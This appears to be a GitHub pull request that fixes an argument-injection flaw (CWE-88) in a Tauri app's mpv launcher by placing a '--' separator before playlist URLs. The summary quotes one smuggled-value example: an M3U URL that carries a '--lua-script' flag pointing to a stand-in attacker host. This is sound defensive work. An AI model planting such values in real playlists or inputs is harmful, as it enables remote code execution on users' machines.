fix(mpv): prevent argument injection via -- separator (CWE-88)

[louzt]

Summary

Prevents RCE by forcing URLs to be treated as positional arguments with the POSIX -- separator. Without --, a malicious M3U URL like https://evil.com --lua-script=http://evil.sh would be parsed as an mpv flag.

What Changed

• src-tauri/src/mpv.rs:152 — added -- separator before channel URL in mpv args

Why

Reported as #424 — CWE-88 (Argument Injection). Zero-click exploit reachable through a malicious M3U playlist.

Compatibility Note

No breaking changes. The -- separator is standard POSIX.

Validation

cargo check passes.

[louzt]

Marking this as ready for review. The branch has been force-pushed with the definitive architectural fix for the CWE-88 (Argument Injection) vulnerability reported in #424.

Technical Analysis of the Fix:

The execution vector has been explicitly reordered within src-tauri/src/mpv.rs to split the argument parsing matrix into two strict, isolated sections using the POSIX -- delimiter:

1. Pre--- Vector (Trusted Context): All legitimate flags derived from the user's authenticated local configuration (such as hardware decoding switches, custom parameters, volume levels, and HTTP caching settings) are pushed first. mpv evaluates these normally during context initialization.
2. Post--- Vector (Untrusted Context): The positional stream markers—including the core channel.url and any dynamic sequence loops coming from find_all_episodes_after—are appended strictly after the -- separator.

flowchart LR
    subgraph Stream ["Command Ingestion Lane"]
        direction LR
        A["mpv binary"] --> B["Legitimate Flags<br/>(HWDEC, Volume, etc.)"]
        B --> C{"POSIX Token<br/>'--'"}
        C -->|Disables Option Parsing| D["Untrusted Strings<br/>(Malicious M3U URL)"]
    end

Loading